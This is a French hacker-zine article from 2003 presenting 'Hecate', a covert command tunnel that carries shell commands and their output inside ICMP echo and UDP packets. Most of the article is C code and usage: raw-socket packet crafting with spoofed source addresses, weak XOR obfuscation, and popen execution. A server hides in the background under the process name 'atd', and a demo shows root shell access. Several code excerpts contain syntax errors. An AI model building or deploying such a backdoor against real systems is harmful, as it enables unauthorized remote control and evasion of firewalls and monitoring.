-------------------------------------------------------------------------------
X.	Projet HECATE v1.0,  ICMP/UDP based Tunneling Tool             neofox
-------------------------------------------------------------------------------


[ Introducion ]

Voici enfin released notre petit joujou fait maison. Pas de quoi faire sauter
une braguette me direz vous, j'en conviens, mais a nous amuse, voila tout.
Je prends la parole pour cet article nom de ceux qui ont de prs ou de loin
particip  l'criture du code. Ce fut, c'est, et ce sera un projet de groupe,
men par la communaut #ioc epiknet, l'occasion de travailler  plusieurs pour
une fois, chacun sa contribution selon ses disponnibilits.  Si je signe ce
texte de mon pseudo, c'est que c'est principalement moi qui vais rdiger cette
prsentation, mais je passerai de temps en temps la parole  mes camarades
qui dcriront certains points mieux que moi. Bref, cet article a pour vocation
de prsenter l'outil, de commenter les grandes lignes du code, et d'en dcrire
le fonctionnement, illustrations  l'appui. Attention, la version d'hecate
commente dans ce document n'est pas la plus  jour, puisque le code est encore
en cours de prparation au moment de la rdaction de ce document. En revanche,
90% du code n'aura pas chang, donc ce papier l'affaire pour ce qui d'en saisir
les grandes lignes.


[ Sommaire ]

Part. I	   Prsentation gnrale

		1. le concept
		2. bref rappel
		3. le fonctionnement

Part. II   Explication du code

		1. les points cls
		2. les fonctions d'hecate
		3. le cryptage
		4. client.c
		5. server.c


Part. III  Options, Syntaxe et Dmonstration

		1. les options
		2. la syntaxe
		3. dmonstration


Part. IV    Tests et Discussion

		1. le dialogue PING/PONG
		2. avec UDP
		3. test sur eth0
		4. cryptage
		5. dtection
		6. Incrmentation

ANNEXE:		hecate.v1.0.tar.gz









		++++ | Part I.  Prsentation Gnrale | ++++





	1. Le Concept :
	______________


Hecate est un outil de tunneling, comprendre par l qu'il cre un tunnel de
communication entre une programme serveur et un programme client. D'ordinaire,
faire dialoguer client et serveur revient  travailler en mode connect, donc
en utilisant TCP pour le transport. Ici, il s'agit au contraire d'utiliser
d'autres protocoles, en l'occurence ICMP ou UDP, pour transporter ce qui le
serait normalement par TCP. L'avantage, c'est donc de pouvoir communiquer avec
notre serveur alors que la machine sur laquelle il se trouve bloque le trafic
TCP entrant. La communication client/serveur se rsume  faire excuter par le
serveur les commandes que lui envoit le client. Dans un deuxime temps, le
client reoit du serveur le rsultat de la commande excute, ce qui permet en
somme d'avoir accs  un semblant de shell, en dehors de tout trafic TCP.
La communication est bi-directionelle, j'aurais tout aussi bien pu dire que a
cirucle dans les deux sens, mais c'tait l'occasion ou jamais de plaer un
mot intelligent =p . J'entends par la que non seulement le client emet une
commande, mais aussi que serveur lui retourne une reponse, on ne travaille plus
en aveugle.

Avec Hecate vous pouvez donc, comme si vous vous trouivez sur un shell,
executer vos commandes et recevoir l'affichage, via l'ICMP ou l'UDP au choix.
Vous pouvez egalement modifier l'adresse source des paquets pour que votre
adresse reelle n'apparaisse pas (vous attentez pas a une reponse du serveur
dans ce cas), et tout ca, sans que notre activite circule en clair sur le
reseau.

Pour que la communication puisse s'tablir via ICMP ou UDP, il faut injecter
nos requettes directement dans les paqeutes ct client, et les y rcuprer
ct serveur, et inversemment pour le retour. Jettons un oeil aux protocols.





	2. Bref Rappel :
	________________


On ne va pas s'tendre sur le fonctionnement de l'ICMP et de l'UDP, il y a les
RFC pour a, qui le feront d'ailleurs mieux que nous. Rapellons simplement 
titre indicatif la structure des deux enttes :



0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1       0      7 8     15 16    23 24    31
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+     +--------+--------+--------+--------+
|Version|  IHL  |Type of Service|          Total Length         |     |       Port      |      Port       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+     |      Source     |  Destinataire   |
|         Identification        |Flags|      Fragment Offset    |     +--------+--------+--------+--------+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+     |                 |                 |
|  Time to Live |    Protocol   |         Header Checksum       |     |     Longueur    |    Checksum     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+     +--------+--------+--------+--------+
|                       Source Address                          |     |              donnes ...          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+     +---------------- ... --------------+
|                    Destination Address                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Options                    |    Padding    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


Nous allons nous focaliser uniquement sur les types de datagrames et les
champs qui nous intressent dans le cadre du programme.

[ ICMP ]

Le permier champ est le champ "type". On ne s'intresse qu'au trafic ICMP
ECHO/ECHOREPLY, echo et rponse  echo, soient respectivement le type 8 et 0.
Le second champ utile est "sequence", qui sert normalement  situer le
datagrame dans une suite de ping. Quand vous pingez un hte, le n de sequence
du permier PING de la srie vaut 1, et c'est incrment pour chaque PING. Cela
permet d'ordoner les datagrames, dfois qu'un echo se perde en route.
Le dernier champ que nous utiliserons, j'aurais peut-tre du commener par
l, est le champ data. On s'interesse justement aux types 0 et 8 en raison de
leur champ data dans lequel on va pouvoir insrer  l'aise tout ce que l'on veut.


[ UDP ]

Pas grand chose  dire, les champs source et dest, qui correspondent au n de
port duquel partira et auquel arrivera le datagrame. Les donnes viennent  la
suite, on se serviera de ce champ de la mme manire qu'avec celui d'ICMP.






	3. Fonctionnement d'Hecate :
	____________________________


Une fois ce petit rappel fait, on peut discuter du fonctionnement de notre
tunnel plus en dtail. Le but est de pouvoir excuter nos commandes 
distance comme si on avait accs  un shell. On va camoufler nos commandes
dans le trafic ICMP ECHO et UDP.


[ Le Tunnel ]

Hecate se compose donc d'une partie client et d'une partie serveur. Il cre
une sorte de tunnel de communiquation entre elles deux, les commandes y etant
envoye a un bout et excutes  l'autre bout, la rponse empruntant le chemin
inverse. Le client saisit la commande qu'on lui passe, l'envoie au serveur camou-
-fle dans un datagrame ICMP ou UDP. Le serveur qui coutait le trafic ICMP et
UDP entrant capte notre datagrame, en extrait la commande et l'excute. La sortie
de la commande (le listing d'un rpertoire dans le cas d'un 'ls') est redirige
dans un buffer, on apellera a l'affichage retour. Cet affichage retour est  son
tour copi dans le champ donnes d'un datagrame rponse, qui est retourn au
client. Enfin, le client qui coutait lui aussi le trafic capte le datagrame
rponse, en extrait l'affichage retour du champ donnes et l'crit sur la
sortie standard.






[ Reperer nos datagrames ]

Nos commandes parviennent au server parmi d'autres datagrames ICMP/UDP. Il en
est de mme pour le client. Le serveur ne doit traiter que les datagrames
venant du client et vice versa. On a donc recours  une valeur spciale des
champs des headers pour identifer nos paquets (je devrais pas dire paquet mais
datagrame parce qu'on raisonne au niveau de la couche IP l, mais ca fait trop
de rptitions). Oui, donc on va coller un valeure spciale  certains champs.
Cette valeur spciale sera 'magic_num'. Les tests raliss plus bas ainsi que
les explications qui vont suivre concidrent le 'magic_num' par dfaut, qui
vaut 666  mais il est possible de lui attribuer une autre valeur par un argument
du main. Notez que si vous spcifiz un 'magic_num' en lanant le server, vous
devez excuter le client avec ce mme 'magic_num' en paramtre. De la mme
manire, si vous utilisez le 'magic_num' par dfaut cot serveur, le dialogue ne
foncitonnera que si vous utilisez galement le 'magic_num' par dfaut cot client.

Le dialogue client/serveur se passe comme suit :
Lorsque le protocole utilis est l'ICMP, le client envoit un PING avec la
commmande au serveur, qui lui retourne un PONG avec l'affichage retour.
Notre serveur ne devra tenir compte que du type ICMP_ECHO, et le client, que
de l'ICMP_ECHOREPLY. Mais a ne suffit pas, pour identifier correctement nos
paquets. On va utiliser le champ sequence en lui attribuant le 'magic_num'.
Ainsi, parmi l'ensmeble du trafic ICMP, nos datagames seront ceux ayant un
seqnum particulier, par dfaut 666. Ce qui donne un server en attente d'un
type 8, seqnum  666, et un client en attente d'un type 0, sequnum  666 aussi.
Nos paquets seront donc bien distingus  du reste des ICMPs, au risque de
traiter par erreur le 666 me paquet d'une session de ping ... mais a doit
pas arriver souvent =)

Lorsque le protocole utilis est l'UDP, on se base sur le port source duquel
mane le datagrame. On attribue donc la valeur 'magic_num' au port source
de nos datagrames. Le serveur est donc en attente d'un UDP provenant d'un
port 666, pareil pour le client.

Un exemple avec un UDP non spoof. Pour les besoins de l'exemple, on utilise
le 'magic_num' par dfaut, et les donnes sont en clair, alors qu'en pratique
c'est crypt :


  CLIENT                                                                                                SERVER
    |	  plae la commande                                                        extrait la commande     |
    |->   dans le champ donnes						                  et l'excute  <- |

	->++++++++++++++++++++++++++                                    ++++++++++++++++++++++++++
  UDP     + source=666 + dest=9238 + 					+ source=666 + dest=9238 +
          ++++++++++++++++++++++++++					++++++++++++++++++++++++++
 HEADER	  + len=8+cmd  +   cksum   +					+ len=8+cmd +   cksum    +
        ->++++++++++++++++++++++++++					++++++++++++++++++++++++++
  DATA	  +        "ls -al"        +					+        "ls -al"        +
        ->++++++++++++++++++++++++++		                   	++++++++++++++++++++++++++

		      |						                    |
		      |-> ====================>>>>>>>>>>>>>>======================->|
						TUNNEL UDP
		      |<-=====================<<<<<<<<<<<<<<======================<-|
		      |								    |
	  ++++++++++++++++++++++++++					++++++++++++++++++++++++++
	  + source=666 + dest=7546 +					+ source=666 + dest=7546 +
	  ++++++++++++++++++++++++++					++++++++++++++++++++++++++
	  + len=8+data +    cksum  +					+ len=8+data +    cksum  +
	  ++++++++++++++++++++++++++					++++++++++++++++++++++++++
	  + "drwx--x--x  10 fox   "+					+ "drwx--x--x  10 fox   "+
	  ++++++++++++++++++++++++++					++++++++++++++++++++++++++

    |->	    extrait l'affichage et					             plae l'afficahge   <-|
    |       l'crit sur la sortie standard	                                 dans le champ donnes     |
  CLIENT                									         SERVER








		++++ | Part II.  Explication du code | ++++


Maintenant qu'on a decrit le fonctionnement general, et comment ce tool se
sert des protocols pour faire passer nos commandes, on va s'interesse de plus
pres au code.



	1. Les points cles :
	____________________

Dans ce qui soit est abord ce qu'il faut faire, ou ne pas faire,  ce qu'on a
fait, et comment on l'a fait.


[ L'allure generale ]

Si on imprime le code source au format panneau publicitaire 2x3m, qu'on se
recule d'une demi douzaine de metres, et qu'on le regarde, on voit que :

	le client c'est enfait une grosse boucle while(1) qui sert a afficher
le prompt. Dans cette boucle, on trouve les fonctions servant a envoyer le
datagame et a la suite, on trouve une seconde boucle while(1) qui sert au
client a ecouter le trafic entrant jusqu'a ce qu'une reponse lui parvienne.
	le serveur, c'est simplement un grosse boucle while(1) lui aussi,
avec laquelle il ecoute passivement dans l'attente d'une requete.




[ Fonctions utiles ]

Voici les fonctions indispensables pour ecrire ce genre d'outil :

	o sendto() et recvfrom(): vu qu'on est en mode non connecte, c'est pas
	recv() mais bien recvfrom(). Cherchez pas a ecrire/recevoir sur votre
	socket a l'aide de write/read, vous perdirez du temps.

	o popen(): celle la, si tu la connais pas tu peux pas l'inventer. Elle
	est geniale pour l'affichage retour cette fonction. Elle execute la
	commande passee en argument et invoque le shell. Grace a elle, on peut
	recuperer la sortie de la commande. On s'est fait vraiemment chier Ciel
	et moi meme avec des pipe(), fork(), dup(), dup2(), pour arriver a un
	resultat similaire, avant de decouvrir popen() par hasard enconlustant
	le manuel.  popen() est a utiliser avec pclose().


C'est  peu prs tout, les autres fonctions sont classiques. On peut aussi
utiliser select() pour faire joli, et fixer un timeout sur la socket sur
laquelle on coute, voir la fonction timeout() dans hecate.h.





	2. Les fonctions d'hecate :
	___________________________


Voici dabord une descriptions des principales fonctions de hecate.h, seules
les plus intressantes seront dtaills plus bas :


	o go_background() 	cache le serveur en arrire plan.
	o proc_data()		excute la commande grace  popen().
	o do_crypt()		encrypte/dcrypte les donnes transmises.
 	o open_socket()		importante fonction, dtaille plus bas.
	o lookup()		pour la rsolution de l'adresse de desitnation.
	o timeout()		clos la socket si aucun paquet n'arrive  temps.
	o make_checksum()	rippe de chez rippe, c'est l'usage avec cette fonction
	o send_ICMP()		probablement la plus intressante avec send_UDP().
 	o send_UDP()		quand on parle du loup ...
	o send_pizza()		hahahaha, je vous ai dja fait le coup non ? =)







[ proc_data() ]

Sa syntaxe : int proc_data(char *cmd, char *buf).
Cette fonction est utilis par le server pour excuter les commandes du
client. proc_data() excute 'cmd', crit la sorite dans 'buf', et retourne
le nombre d'octets constituant la sortie de la commande.

Pour ce faire, on utilise popen() qui excute la commande et retourne un fd de
type FILE. On lit dans 'buf' depuis ce fd, et on retourne i, tant le nombre
d'octets lus dans le flux.

	memset(buf, '\0', DATA_SIZE);
	if((fd = popen(cmd, "r")) != NULL){
		i = fread(buf, 1, DATA_SIZE, fd);
		buf[DATA_SIZE]='\0';
	}

	pclose(fd);
	return i;

Au passage crase  chaque appel avec memset() le contenu du buffer point par
'buf' pour que celui-c ne contienne pas de donnes rsiduelles lors du prochain
appel, ce qui risquerait de perturber l'afficahge retour.





[ open_socket() ]

Sa syntaxe : int open_socket(int spoof, int proto).
Cette fonction cre une socket utilise par send_ICMP et send_UDP pour
mettre les datagrams. Elle prend en paramtre la variable spoof et le
numro du protocol auquel est destin la socket, et retourne un file
descriptor.


Si spoof vaut 0, on ne spoofe pas l'adresse source, et on laisse remplir
le header IP par le kernel. On se contente donc d'ouvrir en SOCK_RAW et
on prcise le protocol, IPPROTO_ICMP ou IPPROTO_UDP selon que proto valle
1 ou 17.

	if(!spoof)
	{
       		if((fd = socket(AF_INET, SOCK_RAW, proto)) < 0)
		return -1;
	}


Si spoof vaut 1, on va forger nous mme l'entte IP. On ouvre donc la socket
en SOCK_RAW et IPPROTO_RAW, et utilise setsockopt() pour avertir le kernel
que le header IP est inclus dans les donnes (IP_HDRINCL pour IP Header
INCLude).

	else
	{
		if((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
			return -1;

		on++;
		if(setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
			return -1;

	}

	return fd;




[ send_ICMP() et send_UDP() ]

La fonction send_ICMP() est utilise  la fois par le client et par le server
pour envoyer un datagrame ICMP. Le client l'utilise pour mettre un ICMP_ECHO
et par le serveur pour envoyer un ICMP_ECHOREPLY. Cette fonction forge le header
ICMP et le header IP si le mode spoofing  est demand.

int send_ICMP(int type, u_long dest_addr, u_long src_addr, char *data, int spoof)

	o type: le type d'ICMP  envoyer, 0 ou 8.
	o data: les donns  joindre au datagrame.
	o spoof: l'option spoofing (1 = activ).




On commene par ouvrir une socket avec comme protocol IPPROTO_ICMP :

	if((sock = open_socket(spoof, 1)) == -1){
			perror("open_socket()");
			return -1;
			exit(1);
	}


Si spoof vaut 1, on renseigne les champs du header IP, et on indique 'src_addr'
comme adresse source. Dans tous les cas, on remplit le header ICMP en collant
au seqnum la valeur 'magic_num', puis on copie nos donnes  la suite de l'entte :


	/* ICMP HEADER */
	my_icmp->type = type;
	my_icmp->un.echo.sequence = htons(magic_num);
	my_icmp->checksum = 0;

	/* DATA */
	memcpy(my_data, data, strlen(data));


On terminera en envoyant le paquet ainsi construit avec sendto().

La fonction send_UDP() est analogue  la prcdente, sauf qu'elle prend comme
paramtre 'dest_port' et 'src_port'  la place du paraptre 'type'. 'dest_port'
et 'src_port' sont les ports source et de destination du datagrame UDP.
'dest_port' peut avoir une valeur alatoire, ou une valeur fixe par l'option
'-d<dest_port>' du main. Le paramtre 'src_port' vaut 'magic_num', et permet
au client et au serveur d'identifer les paquets qu'ils s'enoient l'un l'autre.


	/* ICMP HEADER */
	my_udp->dest = htons(dest_port);
	my_udp->source = htons(src_port);
	my_udp->len = strlen(data) + sizeof(struct udphdr);

	/* DATA */
	memcpy(my_data, data, strlen(data));





	3. Le cryptage :
        ________________


J'apelle a cryptage, c'est enfait un XOR effectu bits  bits, une premire fois
sur nos donnes en clair, et puisque c'est une opration rversible, une seconde fois
sur les donnes cryptes. J'ai appris par la mme occasion le fonctionnement de XOR
que je ne conaissait pas avant a, mais pour ce qui est d'en parler plus en dtails,
je laisse la parole  un certain anonymous pour les explications :



[ Choix d'une bonne cl ]

La cl doit etre sur un byte.
Elle doit avoir une bonne alternance entre 0 et 1 dans son criture binaire,
pour que le rsultat crypt soit le plus diffrent possible de la donn a
crypter. (bien que ce ne soit pas tout a fait exact car il faudrais prendre a
considration la frenquence d'utilisation des caractres utilis)
Ensuite il ne faut SURTOUT PAS que la cl soit gale a un nombre qui peut etre
envoy par le client, ex un caractre. Si la cl est egale a 0x73 lors du cryptage
d'un 's' le rsultat de ce cryptage devient 0x00 et je pense que va pauser de
gros problmes de produire un ou des 00. En regardans la table ascii il faut
que la cl fasse minimum 0x7F ou 127.


1010 0101
   A    5

Je pense que 0xA5 ou 165(dcimal) ferais une bonne cl ou tout
autre nombre du meme genre.



[ do_crypt() ]

C'est la petite fonction de cryptage d'hecate.h. On l'utilise  la fois pour
encoder et dcoder, vu qu'elle est rversible. Elle prend pour argument un
pointeur vers les donnes en clair et donnes en clair, et un pointeur vers
un buffer qui contiendra les donnes encodes.


void
do_crypt(char *data, char *result)
{
	int i;
	memset(result, '\0', strlen(result));
	for(i=0; i<strlen(data); i++){
		if(data[i] != '\x00')
			result[i] = data[i] ^ CRYPTKEY;
	}
}


Avec le memset, on crase le contenu du buffer point par 'result' qui
peut contenir les donnes encodes lors d'un prcdent appel  do_encrypt().





	4. Le Client :
	______________

Nous venons de commenter rapidement les fonctions de hecate.h et le cryptage,
on va maintenant regarder le code du client, pour voir comment ces fonctions
sont apelles. On s'arretera simplement sur  les parties les plus importantes,
le code tant beaucoup comment :




On cre un prompt pour faire joli, et on rcupre dabord la commande en clair
avec fgets depuis l'entre standard :

-------8<-----------------------------------------------------------------------
	/* prompt */
	c=1;
	while(1)
	{
		/*
		 * invite de commande
		 */
		prompt:
		printf("%s%s ~%d%s%s ", COLORON, PROMPTNAME, c++, PROMPT, COLOROFF);


		/*
		 * saisie de la commande
		 * entre au prompt
		 */
		if((fgets(clear_cmd, CMD_SIZE, stdin)) == NULL){
			perror("getting clear_cmd");
			exit(0);
		}

-------8<-----------------------------------------------------------------------

On vrifie ensuite si la commande saisie est destine  tre excuter  distance,
ou bien au contraire si elle sert  manipuler localement le client. Une fois fait,
on a plus besion de la commande en clair, on peut donc la crypter :

-------8<-----------------------------------------------------------------------
		/*
		 * menu d'aide disponible au prompt
		 */
		if(strstr(clear_cmd, HELPME) != NULL){
			helpme();
			goto prompt;
		}


		/*
		 * pour fermer le client proprement
		 */
		if(strstr(clear_cmd, QUITMSG)!=NULL)
			quit(sent, recv);


		/*
		 * cyptage de la commande
		 *  envoyer
		 */
                do_crypt(clear_cmd, crypted_cmd);

-------8<-----------------------------------------------------------------------




On vrifie le protocole qui a t demand, qui est soit l'ICMP soit l'UDP.
Si c'est de l'ICMP on envoit le datagrame avec send_ICMP. On veut envoyer
un PING, on on passe en argument un type 8 ICMP_ECHO. On prcise la valeur
du seqnum qui sera notre 'magic_num'. On lui passe aussi les adresses source
et de destination, la commande crypt, la taille du datagarme commande comprise
et la variable 'spoof', qui vaut 0 par dfaut. Si le client a t excut avec
l'option 's', alors l'adresse source est spoofe et on a  incrment 'spoof' si
vaut alors 1. Si spoof vaut 0, send_ICMP demandera  open_socket() d'ouvrir une
socket avec IPPROTO_ICMP, et si spoof vaut 1, avec IPPROTO_RAW.

-------8<-----------------------------------------------------------------------

	/*
	 * On utilise l'ICMP
	 */
	if(proto == IPPROTO_ICMP)
	{
		size = sizeof(struct icmphdr) + strlen(crypted_cmd);
		if((send_ICMP(8, magic_num, server_addr, client_addr, crypted_cmd, spoof));
	}

-------8<-----------------------------------------------------------------------



Si le protocole demand est UDP, on utilise send_UDP et on lui passe en argument,
le port de destination, qui est soit alatoire soit spcifi par l'option '-d',
le port source, qui est enfait notre 'magic_num', les adresses source et de
destination, la commande crypte, la taille, et 'spoof', 0 ou 1.

-------8<-----------------------------------------------------------------------

	/*
	 * Sinon, on utilise
	 * l'UDP
	 */
	if(proto == IPPROTO_UDP)
	{
		size = sizeof(struct udphdr) + strlen(crypted_cmd);
		send_UDP(dest_port, src_port, server_addr, client_addr, crypted_cmd, spoof));

	}



-------8<-----------------------------------------------------------------------



Si le mode spoofing a t demand, on vient d'envoyer un datagrame avec une
fausse adresse source, donc la rponse du serveur ne nous parviendra pas 
nous mais  cette adresse, si elle existe. C'est donc inutile d'attendre un
datagrame rponse, donc on rebalance un prompt.
Sinon, on ouvre une boucle while(1). On onvre une socket SOCK_PACKET sur
laquelle on place un timeout, et on attend une rponse avec recvfrom() :

-------8<-----------------------------------------------------------------------

	if(spoof) goto prompt;

	/*****************************
	 * CLIENT WAITING FOR A REPLY
	 *****************************/
	while(1)
	{

		sock_recv = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL)));

		if(timeout(delay, sock_recv) == -1)
				break;

		/* pointeur sur le header IP */
		ip_recv = (struct iphdr *)(packet_to_recv + sizeof(struct ethhdr));

		bzero(&packet_to_recv, PACKET_SIZE);
		bytes = recvfrom(sock_recv, (char *)&packet_to_recv, PACKET_SIZE, 0, 0, 0);

-------8<-----------------------------------------------------------------------


Si le paquet reu est un ICMP, on dclare un pointeur sur l'entte ICMP.
Si c'est un ICMP_ECHOREPLY avec le bon n de sequence, on dclare un pointeur
sur les donnes qui suivent. Si les donnes sont vides, il n'y a pas d'affichage
retour. Sinon, on dcrypte les donnes et on affiche a sur la sortie standard :

-------8<-----------------------------------------------------------------------

	/***********************
	 * DEAL WITH ICMP DGRAM
	 ***********************/
	if(ip_recv->protocol == IPPROTO_ICMP)
	{
		icmp_recv = (struct icmphdr *)(packet_to_recv  + sizeof(struct ethhdr) + 20);

		if(icmp_recv->type == 0 && icmp_recv->un.echo.sequence == htons(magic_num))
		{
			data_recv = (char *)(packet_to_recv + sizeof(struct ethhdr) + 28));
			if(!strlen(data_recv)){
				fprintf(stdout,"%s", NODATA);
				goto end;
			}

			do_crypt(data_recv, clear_data);
			write(1, clear_data, strlen(clear_data));
		}
	}

-------8<-----------------------------------------------------------------------

La dmarche est identique avec UDP, sauf qu'on contrle le port source pour
vrifier que ce soit bien ntre paquet. Voila pour le client.





	5. Le Serveur :
	_______________


Reste  dcrire brivement le code du serveur. Les tapes peuvent se
rsumer ainsi :

		- on coute et on reoit
		- si c'est notre paquet, on ouvre
		- on rcupre la commande
		- on la dcrypte
		- on l'excute en on rcupre l'affichage
		- on le crypte
		- on le colle dans le champ donnes
		- et on envoit le paquet rponse




-------8<-----------------------------------------------------------------------



	/*******************************
	 * SERVER WAITING FOR A REQUEST
	 *******************************/
	while(1)
	{

		sock_recv = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL));
		recvfrom(sock_recv, (char *)&packet_to_recv, PACKET_SIZE, 0, 0, 0);

		ip = (struct iphdr *)(packet_to_recv + sizeof(struct ethhdr));


-------8<-----------------------------------------------------------------------



Si on reoit un ICMP_ECHO avec le bon seqnum, on rcupre dabord les adresses
source et de destination. L'adresse source peut tre spoofe. 0n dcrypte la
commande, on l'excute, on encrypte l'affichage retour qu'on copie dans le champ
donns d'un ICMP_ECHOREPLY et on renvoit  l'adresse source :

-------8<-----------------------------------------------------------------------

	if(ip->protocol == IPPROTO_ICMP)
	{
		icmp = (struct icmphdr *)(packet_to_recv + sizeof(struct ethhdr) + 20);
		data = (char *)(packet_to_recv + sizeof(struct ethhdr) + 20 + 8));

		if(icmp->type == ICMP_ECHO && icmp->un.echo.sequence == htons(magic_num))
		{
			client_addr = lookup((char *)inet_ntoa(*(struct in_addr *)&ip->saddr));
			server_addr = lookup((char *)inet_ntoa(*(struct in_addr *)&ip->daddr));


			/* decrypte */
			do_crypt(data, clear_cmd);

			/* excute */
			if((proc_data(clear_cmd, clear_data)) == -1)
				goto end;

			/* encrypte */
			do_crypt(clear_data, crypted_data);

			send_ICMP(ICMP_ECHOREPLY, magic_num, client_addr, server_addr, crypted_data, 0);
		}
	}

-------8<-----------------------------------------------------------------------



On a envoy un type ICMP_ECHOREPLY et on met l'argument 'spoof'  0, car on n'a
besion de spoofer l'adresse source dans ce cas de figure.
On procde de la mme manire pour traiter un datagrame UDP. Dabord on controle
le pour source, et s'il correspond  notre 'magic_num', on extrait la commande,
on dcrypte etc ...

-------8<-----------------------------------------------------------------------

	if(ip->protocol == IPPROTO_UDP)
	{
 		udp = (struct udphdr *)(packet_to_recv + sizeof(struct ethhdr) + 20);
		data = (char *)(packet_to_recv + sizeof(struct ethhdr) + 20 + 8);


		if(udp->source == htons(magic_num))
		{
			client_addr = lookup((char *)inet_ntoa(*(struct in_addr *)&ip->saddr));
			server_addr = lookup((char *)inet_ntoa(*(struct in_addr *)&ip->daddr));

			do_crypt(data, clear_cmd);

			proc_data(clear_cmd, clear_data)) == -1);

			do_crypt(clear_data, crypted_data);

			reply_size = sizeof(struct udphdr) + strlen(crypted_data);
			send_UDP(random(), magic_num, client_addr, server_addr, crypted_data, reply_size, 0));
		}
	}

-------8<-----------------------------------------------------------------------

Voila pour le serveur. Afin d'aller directement  l'essentiel, le code du
client et du serveur dcrit c-dessus a t pur, j'ai supprim la gestion
des erreurs des fonctions et les printf qui affichent les caractristiques
des paquets reus.











		++++ | Part III.   Options, Syntaxe et Dmonstration | ++++



	1. Options :
	____________


[ Options du Client ]

Voici la liste des options donne par le menu d'aide du client

neolab# ./client -h
-+ ICMP/UDP Crypted Tunnel - IOC Team, 2003 +-
[-h]		displays this help
-p<icmp/udp>	protocol to use
-t<target>	server address
[-v]		verbose mode
[-s]<spoof>	source address, must be an IP
[-d]<port>	destination port, for UDP dgrams
[-m]<magic_num>	recognize our dgrams, default is 666
[-w]<delay>	dealy before timeout, in sec
neolab#


usage: ./client [-vh] -p<icmp/udp> -t<dest_addr>
	[-s<src_ip>] [-d<dest_port>] [-m <magic_num>] [-w <delay>]



	o L'option -t<target> dsigne l'adresse de la machine sur
laquelle tourne le server. 'target' peut tre un nom d'hte ou une
adresse IP.


	o L'option -s<spoof> est l'IP source avec laquelle on
souhaite envoyer nos datagrames. Ce doit tre une IP et non un
nom d'hte, car il n'y a pas de fonction lookup portant sur cette
adresse. Si le mode spoofing est activ, le client ne reevra pas
de rponse du server, on travaillera en aveugle dans ce cas.


	o L'option -d<port_dest> permet de fixer le port UDP auquel
envoyer nos datagrames. Evidemment, cette option n'est valide que
si le protocole spcif est UDP.


	o L'option -p<protocol> spcifie le protocole  utiliser
pour le transport de nos donnes. Ca peut tre 'icmp' ou 'udp', ou
bien le numro du protocol,  savoir '1' ou '17'.


	o L'option -m<magic_num> permet de fixer ... le magic_num !
En clair, le magic_num est la valeur qui sera attribue comme port
source  nos datagrames UDP et comme seqnum  nos datagrames ICMP.
De mme, le client s'attendra  recevoir des datagrames UDP ayant
comme port source 'magic_num' et des ICMP ayant 'magic_num' comme
numro de squence. Si vous attribuez un magic_num au client, vous
devrez spcifier le mme lors de l'excution du serveur. Si vous
ne prcisez rien, le magic_num par dfaut sera utilis.


	o L'option -w<delay> fixe la dure en secondes pendant
laquelle le client doit attendre une rponse du serveur. Si aucun
paquet rponse ne lui parvient avant expiration du delai, le client
concidre le serveur comme down.



[ Options du Server ]

J'cris option au singulier, car pour le server, la seule option
disponnible est -m<magic_num> qui permet de spcifier la valeur
du magic_num. Le server ne tiendra compte que des datagrames UDP
provenant d'un port source gal  'magic_num' et des datagrames
ICMP ayant 'magic_num' comme numro de squence. Si vous attribuez
une valeur particulre  'magic_num' au lanement du server, vous
devrez spcifier la mme valeur au magic_num du client.




	2. Syntaxe :
	____________



Selon les options fournies :

	a. ./client -p icmp -t www.toto-is-back.com
	b. ./client -p 17 -t www.toto.com -s 123.1.2.3
	c. ./client -p udp -t 146.25.68.117 -d 777
	d. ./client -p 1 -t www.toto.com -m 13317
	e. ./client -p udp -t www.toto.com -w 10
	f. ./client -p udp -t www.toto.com -m 555 -d 777

nos commandes seront transmises par :

	a. des PINGs  ce cher toto avec un seqnum 666
	b. des dgrams UDP avec 123.1.2.3 comme adresse source
	c. des dgrams UDP au port 777 avec un port source de 666
	d. des PINGs avec un seqnum valant 13317
	e. des dgrams UDP avec un timeout fix  10 secondes
	f. des dgrams UDP mis du port 555  destination du port 777.




[ Au Prompt ]

Au prompt, tapez '?' pour obtenir un menu d'aide, 'quit' pour fermer
le client, et 'turnoff' pour killer le server et fermer le client.
Au prompt du client vous pouvez entrer presque toutes les commandes
shell, comme si vous tiez en connexion telnet/ssh/R*.
Cependant, N'UTILISEZ PAS les tideurs vi, pico, et cie ... dans ce
cas le serveur passe la main  l'diteur, et ne rpond plus, vous
tes bloqus, impossible de le manoeuvrer encore avec le client.






	3. Dmonstration :
	__________________


Voici ce que a donne en local, client/serveur sur la mme machine.
Test ralis par Emepr0r :


[root@neptune emepr0r]# ./daemon
-+ ICMP/UDP Tunnel - IOC Team, 2003 +-
server hiding itself in background
[root@neptune emepr0r]# ps -aux | grep daemon
[root@neptune emepr0r]# ps -aux | grep atd
root	3591  0.0  1.0  1686  656 pts/3	    R	      23:45	0:00 atd
[root@neptune emepr0r]# ./client -v -p icmp -t neptune
-+ ICMP/UDP Tunnel - IOC Team, 2003 +-
interactive shell, root priviliges allowed
using ICMP ...
hecate ~1# ls -al
PING sent to 127.0.0.1
PONG recieved from 127.0.0.1
total 112
drwxrwxr-x    2 emper0r  emper0r      4096 jun  1 14:39 .
drwxr-xr-x   16 emper0r  emper0r      4096 mai 29 23:24 ..
-rwxr-xr-x    1 root     root        21198 jun  1 14:39 client
-rw-r--r--    1 emper0r  emper0r      6098 jun  1 14:39 client.c
